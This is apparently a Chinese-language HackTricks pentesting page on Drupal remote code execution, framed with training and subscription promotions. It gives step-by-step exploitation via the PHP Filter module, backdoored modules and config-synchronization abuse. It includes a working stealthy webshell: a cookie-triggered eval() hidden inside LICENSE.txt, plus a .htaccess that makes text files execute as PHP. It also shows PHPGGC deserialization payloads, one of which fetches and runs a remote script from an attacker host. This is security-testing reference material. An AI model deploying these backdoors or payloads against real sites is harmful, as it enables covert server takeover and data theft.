Drupal RCE
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
With PHP Filter Module
Warning
在旧版本的 Drupal (在版本 8 之前),可以以管理员身份登录并启用
PHP filter模块,该模块会 “Allows embedded PHP code/snippets to be evaluated.”。但从版本 8 起该模块默认不再安装。
- 访问 /modules/php,如果返回 403 错误则 PHP filter plugin 已安装,可以继续
- 如果没有,转到
Modules,勾选PHP Filter的复选框,然后点击Save configuration - 然后,要利用它,点击
Add content,选择Basic Page或Article并编写 PHP backdoor,然后在 Text format 中选择PHP代码,最后选择Preview - 要触发它,只需访问新创建的 node:
curl http://drupal.local/node/3
安装 PHP Filter 模块
Warning
在当前版本中,默认安装后仅通过网页访问已无法再安装插件。
从版本 8 起, PHP Filter 模块默认未安装。要利用此功能,我们必须自行安装该模块。
- 从 Drupal 网站下载该模块的最新版本。
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- 下载完成后,转到
Administration>Reports>Available updates。 - 点击
Browse,选择我们下载到的目录中的文件,然后点击Install。 - 模块安装后,我们可以点击
Content并创建一个新的基本页面,类似于我们在 Drupal 7 示例中所做的。再次确保从Text format下拉中选择PHP code。
Backdoored Module
Warning
在当前版本中,默认安装后仅通过网页访问已无法再安装插件。
过去可以下载一个模块,向其中添加一个backdoor,然后安装它。例如,下载 Trurnstile 模块的压缩包,在其中创建一个新的 PHP backdoor 文件,并通过 .htaccess 文件允许访问该 PHP 文件:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
然后前往 http://drupal.local/admin/modules/install 安装带后门的模块,并访问 /modules/turnstile/back.php 来执行它。
通过 Configuration synchronization 对 Drupal 进行后门植入
Post shared by Coiffeur0x90
第 1 部分(激活 Media 和 Media Library)
在 Extend 菜单 (/admin/modules) 中,您可以激活看起来已安装的插件。默认情况下,插件 Media 和 Media Library 未被激活,因此我们将激活它们。
激活前:
 (1) (1) (1) (1).png)
激活后:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
第 2 部分(利用 Configuration synchronization 功能)
我们将利用 Configuration synchronization 功能来导出(export)和上传(import)Drupal 配置条目:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
修补 system.file.yml
让我们从修补第一个条目 allow_insecure_uploads 开始,从:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
到:
文件: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
修补 field.field.media.document.field_media_document.yml
然后,将第二个条目 file_extensions 从:
文件: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
到:
文件: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
我在这篇博客文章中没有使用它,但值得注意的是可以以任意方式定义条目
file_directory,并且它易受 path traversal attack(因此我们可以在 Drupal 文件系统树中向上返回)。
 (1) (1) (1).png)
第3部分(利用功能 Add Document)
最后一步是最简单的,分为两个子步骤。第一步是上传一个 .htaccess 格式的文件,利用 Apache 指令使 .txt 文件能够被 PHP 引擎解释。第二步是上传一个包含我们 payload 的 .txt 文件。
文件: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
为什么这个技巧很酷?
因为一旦 Webshell(我们称之为 LICENSE.txt)被放置到 Web 服务器上,我们可以通过 $_COOKIE 传输我们的命令,在 Web 服务器日志中这会显示为对一个文本文件的合法 GET 请求。
为什么把我们的 Webshell 命名为 LICENSE.txt?
原因很简单,例如如果我们取用以下文件 core/LICENSE.txt(该文件已存在于 Drupal core 中),该文件有 339 行,大小为 17.6 KB,足够大,适合在中间添加一小段 PHP 代码(因为文件足够大)。
 (1) (1) (1).png)
文件:Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
第3.1部分(上传文件 .htaccess)
首先,我们利用 Add Document (/media/add/document) 功能上传包含 Apache 指令的文件(.htaccess)。
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
第3.2部分(上传文件 LICENSE.txt)
然后,我们再次利用 Add Document (/media/add/document) 功能上传一个隐藏在许可文件中的 Webshell。
 (1).png)
 (1).png)
 (1).png)
第4部分(与 Webshell 交互)
最后一部分是与 Webshell 进行交互。
如下面的截图所示,如果我们的 Webshell 所期望的 cookie 未定义,通过 Web 浏览器访问该文件时会得到如下结果。
 (1).png)
当攻击者设置了该 cookie 后,就可以与 Webshell 交互并执行任意命令。
 (1).png)
正如你在日志中看到的,看起来只是请求了一个 txt 文件。
 (1).png)
感谢你花时间阅读这篇文章,希望它能帮助你获得一些 shells。
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
两份通告于 20 Nov 2024 发布(CVE-2024-55637 & CVE-2024-55638),描述了 Drupal core 中新的 PHP object gadget chains(7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, 早期 11.x)。它们并不能直接被利用,但一旦任何 contrib/module 对用户输入执行 unserialize(),就为攻击者提供了现成的链。
实用的利用工作流程:
- 查找 unserialize sink(contrib module 或自定义代码)。在代码库中 grep
unserialize(或Drupal\Component\Serialization\PhpSerialize::decode。针对接受 POST/JSON 或配置导入的端点。 - 生成 payload,使用与 gadget chain 匹配的易受攻击类路径。在 SA-CORE-2024-008 之后,公共链已被加入常见的 payload 生成器。以 PHPGGC(commit ≥ Dec 2024)为例:
./phpggc drupal/rce2 system 'id' > payload.ser
- 将 Deliver the serialized blob 发送到 sink (e.g., parameter that gets deserialized). 对于 form-encoded body:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Trigger destruction(通常在请求结束时自动触发)并执行该命令。
测试注意事项:
- Gadget 仅适用于 早于 10.2.11 / 10.3.9 / 7.102 的版本(已修补)。通过
/core/lib/Drupal.php或CHANGELOG.txt验证目标版本。 - 第三方 DB 驱动可能需要额外加固;查找那些错过安全更新窗口的部署。
最近的 contrib-module unsafe deserialization → RCE
一些 contrib 模块在 2024 年末修复了不安全的 unserialize() 路径。如果站点缺少这些更新,它们会为 core gadget chain 提供可利用的 sink:
- Mailjet (<4.0.1, CVE-2024-13296):管理员可控的数据被传递到
unserialize(),在与 core gadgets 链接时可导致 PHP Object Injection → RCE。 - Eloqua (7.x-1.x < 1.15, CVE-2024-13297):类似的不安全
unserialize()用法,可由拥有access administration pages权限的用户触及。
测试思路(已认证):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
如果该模块反序列化上传的数据,gadget chain 会导致 RCE。将其与 XSS/CSRF 结合以窃取 admin cookies,从而形成完整的攻击链。
参考资料
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


